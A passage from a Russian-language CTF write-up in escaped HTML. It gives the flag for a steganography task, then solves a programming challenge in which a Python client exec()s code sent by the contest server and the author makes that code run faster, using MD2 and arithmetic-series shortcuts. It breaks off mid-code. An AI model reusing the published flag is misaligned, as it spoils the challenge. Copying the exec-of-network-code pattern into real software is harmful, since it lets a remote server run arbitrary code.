\u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044f?<br \/>  \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c Stegsolve, \u0438, \u0438\u0437\u043c\u0435\u043d\u0438\u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0447\u0442\u043e-\u0442\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u0447\u0438\u0432\u043e\u0435:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/ad4\/6e7\/d27\/ad46e7d2765944298e13539cc76c3821.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u0443\u0434\u044f \u043f\u043e \u0437\u043d\u0430\u043a\u0430\u043c =, \u044d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 base64. \u041d\u043e \u0432\u0441\u0435 \u0431\u0443\u043a\u0432\u044b \u0437\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u0435 (uppercase). \u0412\u0441\u043f\u043e\u043c\u043d\u0438\u043c \u043b\u0435\u0433\u0435\u043d\u0434\u0443, \u0433\u0434\u0435 \u0441\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0442\u043e\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u043b\u0430\u0434\u0430\u043b \u0437\u043d\u0430\u043d\u0438\u044f\u043c\u0438, \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u043b \u0447\u0438\u0441\u043b\u043e 32. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c base32, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TPAU&#8217;XAPDEP.<br \/>  \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0442\u0435 \u0436\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044e \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c. <\/p>\n<p>  <\/p>\n<p>\u0412 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">thisnotaflag thisisflag,joke noflaghere noo000000op CTFZONE{5dbb39d62d31b1c notflagagain flagwashere 025f3b0e3a987d375}part2 kakoyflag? TPAU'XAPDEP<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u043e\u0442 \u0438 \u043d\u0430\u0448 \u0444\u043b\u0430\u0433!<\/p>\n<p>  <\/p>\n<p><strong>\u041e\u0442\u0432\u0435\u0442:<\/strong> <em>ctfzone{5dbb39d62d31b1c025f3b0e3a987d375}part2<\/em><\/p>\n<p>  <\/p>\n<p>  <\/p>\n<p>  <\/p>\n<h4 id=\"misc_1000-molibdengamma\">MISC_1000. Molibden|Gamma<\/h4>\n<p>  <\/p>\n<blockquote><p><em><strong>A.U.R.O.R.A.:<\/strong> Lieutenant, you\u2019ve got to the command center. It\u2019s time to go home and join our comrades! Wait, something is wrong with the systems. Some basic libraries are lost. Computer can&#8217;t find the route. You need to help computer make some simple calculations. Quick, we are almost there!<\/em><\/p><\/blockquote>\n<p>  <strong>\u0420\u0435\u0448\u0435\u043d\u0438\u0435:<\/strong><\/p>\n<p>  <\/p>\n<p>\u0418\u0442\u0430\u043a, \u043c\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0443 \u0446\u0435\u043b\u0438! \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u043e\u0440\u0430\u0431\u043b\u0435\u043c, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. <\/p>\n<p>  <\/p>\n<p>\u0418\u0442\u0430\u043a, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443. \u041f\u0440\u0438\u043c\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/93a\/a82\/f7d\/93aa82f7d68649f4bd40ad93ccc6cec6.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0418\u0437 \u043b\u0435\u0433\u0435\u043d\u0434\u044b \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440.<br \/>  \u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u043d\u0430\u0432\u044b\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. <\/p>\n<p>  <\/p>\n<p>\u0422\u0430\u043a \u043a\u0430\u043a \u043a\u043e\u0434 \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 Python, \u0442\u043e \u043f\u0435\u0440\u0432\u043e\u0435 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2013 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c exec \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u043e. \u041a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: <\/p>\n<p>  <\/p>\n<pre><code class=\"python\">from socket import create_connection from time import time  sock = create_connection((&quot;95.85.41.197&quot;, 8887))  for i in range(10):     res = None     code = sock.recv(102400)     code = code.decode()     code = &quot;\\n&quot;.join(code.split(&quot;\\n&quot;)[:-2])     if &quot;gone wrong&quot; in code:         print(code)         exit(0)      start = time()     l = res = None      print(code)     exec(code)     res = res or l      print(time() - start)     code = None      res = str(res).encode()     try:         sock.send(res + b&quot;\\n&quot;)     except Exception:         print(sock.recv(102400))         print(sock.recv(102400))         print(sock.recv(102400))         break<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a\u043e\u0434 \u0441\u043e sleep, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u043e\u0440\u043c\u043e\u0437\u0438\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">from time import sleep  k = 96 s = 36 c = 98  mas = []  for i in range(c):     sleep(0.1)     mas.append(s)     s += k  res = 0  for el in mas:     sleep(0.1)     res += el  print(res)<\/code><\/pre>\n<p>  <\/p>\n<p>\u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0440\u0435\u0437\u0430\u043d\u0438\u0435\u043c sleep \u043f\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0442 \u0442\u0430\u043a:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">code = code.replace(&quot;sleep(0.1)&quot;, &quot;&quot;)<\/code><\/pre>\n<p>  <\/p>\n<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0443\u0441\u043b\u043e\u0436\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e sleep \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u0435:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">from time import sleep as JecYvyk<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0443 \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c replace:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">code = code.replace(&quot;sleep&quot;, &quot;gmtime&quot;)<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0440\u0430\u0437 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0448\u0430\u0433\u0435 \u0441 \u043a\u043e\u0434\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u0447\u0438\u0441\u043b\u0430:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">from time import gmtime as rluVx  k = 82194181 s = 55474764 c = 54888629  mas = []  for i in range(c):     rluVx(2*0.01)     mas.append(s)     s += k  res = 0  for el in mas:     rluVx(2*0.01)     res += el  print(res)<\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0434\u0432\u0443\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u2014 \u043b\u0438\u0431\u043e \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0430\u043c\u044f\u0442\u044c, \u043b\u0438\u0431\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0432\u044b\u0434\u0430\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">Something gone wrong: TimeoutError<\/code><\/pre>\n<p>  <\/p>\n<p>\u041e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0440\u0435\u0448\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f, \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u043a\u043e\u0434\u0435. \u041f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0435 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443 \u0430\u0440\u0438\u0444\u043c\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0435\u0441\u0441\u0438\u0438.<br \/>  \u0422\u0430\u043a \u043a\u0430\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e, \u0442\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u0441\u0447\u0435\u0442\u0430 \u043b\u0438\u043d\u0435\u0439\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u043e\u0439, \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043c\u0430\u0441\u0441\u0438\u0432 \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0430\u0440\u0438\u0444\u043c\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0435\u0441\u0441\u0438\u0438, \u0430 \u043f\u043e\u0442\u043e\u043c \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f. \u041d\u0430\u043f\u0438\u0448\u0435\u043c \u044d\u0442\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0443:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">def solve(k, s, c):     return str((2*s + k*(c-1))*c\/\/2)<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043e\u043d\u0430 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e.<\/p>\n<p>  <\/p>\n<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0435\u0442 \u0443\u0441\u043f\u0435\u0432\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u043a\u043e\u0434:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">from time import sleep as Rkyv from random import shuffle  l = [5984807, 6299947, 10119240, 13578507, 14224900, 15238270, 15513380, 16429758]  while True:     Rkyv(0o10*0.01)     shuffle(l)     prev = None     is_sorted = True     for el in l:         Rkyv(0o10*0.01)         if prev is None:             prev = el         elif prev &gt;= el:             is_sorted = False             break         prev = el     if is_sorted:         break print(l)<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0438 \u0441 \u044d\u0442\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435\u0439. \u041e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 monkey_sort, \u043d\u043e, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u044d\u0442\u043e\u0442 \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e. \u041f\u0435\u0440\u0435\u043f\u0438\u0448\u0435\u043c \u043d\u0430 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 sort, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430\u043c Python. \u041d\u043e \u0438 \u044d\u0442\u043e\u0433\u043e \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e.<br \/>  \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u043c\u043e\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 exec \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0435\u0442 \u0443\u0441\u043f\u0435\u0432\u0430\u0442\u044c \u0441\u0447\u0438\u0442\u0430\u0442\u044c &#8216;\u0441\u0442\u0440\u0430\u0448\u043d\u044b\u0439&#8217; \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434:<\/p>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u0442\u0440\u0430\u0448\u043d\u044b\u0439 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"python\">from time import sleep as EB  s = b'Vt\\xe9\\xe9\\xed\\x05J\\xdaEQ'  def func3(s):     def func1(OOOOOOOOO0000OOO0 ):         &quot;&quot;         PI_SUBST =[41 ,46 ,67 ,201 ,162 ,216 ,124 ,1 ,61 ,54 ,84 ,161 ,236 ,240 ,6 ,19 ,98 ,167 ,5 ,243 ,192 ,199 ,115 ,140 ,152 ,147 ,43 ,217 ,188 ,76 ,130 ,202 ,30 ,155 ,87 ,60 ,253 ,212 ,224 ,22 ,103 ,66 ,111 ,24 ,138 ,23 ,229 ,18 ,190 ,78 ,196 ,214 ,218 ,158 ,222 ,73 ,160 ,251 ,245 ,142 ,187 ,47 ,238 ,122 ,169 ,104 ,121 ,145 ,21 ,178 ,7 ,63 ,148 ,194 ,16 ,137 ,11 ,34 ,95 ,33 ,128 ,127 ,93 ,154 ,90 ,144 ,50 ,39 ,53 ,62 ,204 ,231 ,191 ,247 ,151 ,3 ,255 ,25 ,48 ,179 ,72 ,165 ,181 ,209 ,215 ,94 ,146 ,42 ,172 ,86 ,170 ,198 ,79 ,184 ,56 ,210 ,150 ,164 ,125 ,182 ,118 ,252 ,107 ,226 ,156 ,116 ,4 ,241 ,69 ,157 ,112 ,89 ,100 ,113 ,135 ,32 ,134 ,91 ,207 ,101 ,230 ,45 ,168 ,2 ,27 ,96 ,37 ,173 ,174 ,176 ,185 ,246 ,28 ,70 ,97 ,105 ,52 ,64 ,126 ,15 ,85 ,71 ,163 ,35 ,221 ,81 ,175 ,58 ,195 ,92 ,249 ,206 ,186 ,197 ,234 ,38 ,44 ,83 ,13 ,110 ,133 ,40 ,132 ,9 ,211 ,223 ,205 ,244 ,65 ,129 ,77 ,82 ,106 ,220 ,55 ,200 ,108 ,193 ,171 ,250 ,36 ,225 ,123 ,8 ,12 ,189 ,177 ,74 ,120 ,136 ,149 ,139 ,227 ,99 ,232 ,109 ,233 ,203 ,213 ,254 ,59 ,0 ,29 ,57 ,242 ,239 ,183 ,14 ,102 ,88 ,208 ,228 ,166 ,119 ,114 ,248 ,235 ,117 ,75 ,10 ,49 ,68 ,80 ,180 ,143 ,237 ,31 ,26 ,219 ,153 ,141 ,51 ,159 ,17 ,131 ,20 ]         O00OOOO0OOOO00000 =OOOOOOOOO0000OOO0          OO00OO000OO0OO000 =len (O00OOOO0OOOO00000 )         O00OOOO0OOOO00000 +=chr (16 -(OO00OO000OO0OO000 %16 )).encode (&quot;utf-8&quot;)*(16 -(OO00OO000OO0OO000 %16 ))         O00OOOO0O0OOO00O0 =O00OOOO0OOOO00000          OO00OO000OO0OO000 =len (O00OOOO0OOOO00000 )         OOOOO0O0000000OO0 =bytearray (b&quot;\\x00&quot;*16 )         OO0O0O000OOOO0O0O =0          for O0OOO0OO000OO00O0 in range (OO00OO000OO0OO000 \/\/16 ):             EB(0x3*0.01)             for OO00O00OOO000OO00 in range (16 ):                 EB(0x3*0.01)                 O0O0OOOO000O0OO0O =O00OOOO0O0OOO00O0 [O0OOO0OO000OO00O0 *16 +OO00O00OOO000OO00 ]                 OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]=OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]^PI_SUBST [O0O0OOOO000O0OO0O ^OO0O0O000OOOO0O0O ]                 OO0O0O000OOOO0O0O =OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]          OO0OOO00OOO00000O =O00OOOO0O0OOO00O0 +OOOOO0O0000000OO0          OO00OO000OO0OO000 +=16          OOO00O00O0O0O0OO0 =bytearray ([0 ])*48          for O0OOO0OO000OO00O0 in range (OO00OO000OO0OO000 \/\/16 ):             for OO00O00OOO000OO00 in range (16 ):                 EB(0x3*0.01)                 OOO00O00O0O0O0OO0 [16 +OO00O00OOO000OO00 ]=OO0OOO00OOO00000O [O0OOO0OO000OO00O0 *16 +OO00O00OOO000OO00 ]                 OOO00O00O0O0O0OO0 [32 +OO00O00OOO000OO00 ]=OOO00O00O0O0O0OO0 [16 +OO00O00OOO000OO00 ]^OOO00O00O0O0O0OO0 [OO00O00OOO000OO00 ]             OOOO0O0OO000000OO =0              for OO00O00OOO000OO00 in range (18 ):                 EB(0x3*0.01)                 for OOOO00O00OOO0OOOO in range (48 ):                     EB(0x3*0.01)                     OOOO0O0OO000000OO =OOO00O00O0O0O0OO0 [OOOO00O00OOO0OOOO ]=OOO00O00O0O0O0OO0 [OOOO00O00OOO0OOOO ]^PI_SUBST [OOOO0O0OO000000OO ]                 OOOO0O0OO000000OO =(OOOO0O0OO000000OO +OO00O00OOO000OO00 )%256          return bytes (OOO00O00O0O0O0OO0 [:16 ])      OO0OOOO00OO0O0O0O = b'Vt\\xe9\\xe9\\xed\\x05J\\xdaEQ'      def func2(OO0OOOO00OO0O0O0O):         O00O00OO000OOO00O ='0123456789abcdef'         return b''.join(map(lambda x: x.encode(), map(lambda O00O0OO0O0OOOO0O0 :O00O00OO000OOO00O [(O00O0OO0O0OOOO0O0 &gt;&gt;4 )&amp;0xf ]+O00O00OO000OOO00O [O00O0OO0O0OOOO0O0 &amp;0xf ],func1 (OO0OOOO00OO0O0O0O ))))      for i in range(100):         OO0OOOO00OO0O0O0O = func2(OO0OOOO00OO0O0O0O)     return OO0OOOO00OO0O0O0O.decode()      #print(''.join (map (lambda O00O0OO0O0OOOO0O0 :O00O00OO000OOO00O [(O00O0OO0O0OOOO0O0 &gt;&gt;4 )&amp;0xf ]+O00O00OO000OOO00O [O00O0OO0O0OOOO0O0 &amp;0xf ],func1 (OO0OOOO00OO0O0O0O )))) res = func3(s) print(res)<\/code><\/pre>\n<\/div>\n<\/div>\n<p>  <\/p>\n<p>\u0412 \u0445\u043e\u0434\u0435 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e \u043a\u0430\u043a\u0430\u044f-\u0442\u043e \u0445\u0435\u0448 \u0444\u0443\u043d\u043a\u0446\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f 100 \u0440\u0430\u0437. \u0414\u0430\u043b\u0435\u0435 \u043f\u0440\u043e\u0439\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u0434\u0432\u0443\u043c\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438: \u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043d\u0430 \u0447\u0435\u043c-\u0442\u043e \u0431\u043e\u043b\u0435\u0435 \u0431\u044b\u0441\u0442\u0440\u043e\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, C++), \u043b\u0438\u0431\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0437\u0430\u043c\u0435\u043d, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0445\u0430\u0440\u0434\u043a\u043e\u0436\u0435\u043d\u0430 \u0432 \u043a\u043e\u0434\u0435.<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0433\u0443\u0433\u043b\u0438\u0442\u044c:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/b28\/9cb\/349\/b289cb3492a54a049abc77193636a159.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043b\u0435\u0433\u043a\u043e \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u044d\u0442\u043e md2. \u0412 PYCRYPTO \u0435\u0441\u0442\u044c \u0431\u044b\u0441\u0442\u0440\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">from Crypto.Hash import MD2  def solve(inp):     for i in range(params.get(&quot;count&quot;)):         h = MD2.new()         h.update(inp)         inp = h.hexdigest()     return inp <\/code><\/pre>\n<p>  <\/p>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434 solver:<\/p>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u041a\u043e\u0434 solver<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"python\">import re import json from socket import create_connection from solves import md2 from solves import arifmetic from time import time  sock = create_connection((&quot;95.85.41.197&quot;, 8887))  r1 = re.compile(r&quot;l = (\\[.*\\])&quot;) r21 = re.compile(r&quot;OO0OOOO00OO0O0O0O = (b('|\\&quot;).*('|\\&quot;))\\n&quot;) r22 = re.compile(r&quot;    for i in range\\((\\d+)\\):&quot;) r3 = re.compile(r&quot;.*k = (?P&lt;k&gt;\\d+)\\ns = (?P&lt;s&gt;\\d+)\\nc = (?P&lt;c&gt;\\d+).*&quot;)  def solve1(code):     reverse = True     if &quot;&gt;&quot; in code:         reverse = False     code = code.split(&quot;while True:&quot;)[0]     lst = r1.findall(code)[0]     lst = json.loads(lst)     lst.sort(reverse=reverse)     return lst  def solve2(code):     data = eval((r21.findall(code))[0][0])     count = int(r22.findall(code)[0])     res = md2.solve({&quot;string&quot;: data, &quot;count&quot;: count})     return res  def solve3(code):     for m in r3.finditer(code):         print (arifmetic.solve({k: int(v) for k, v in m.groupdict().items()}))         return arifmetic.solve({k: int(v) for k, v in m.groupdict().items()})  while True:     res = None     code = sock.recv(102400)     code = code.decode()     code = &quot;\\n&quot;.join(code.split(&quot;\\n&quot;)[:-2])     code = 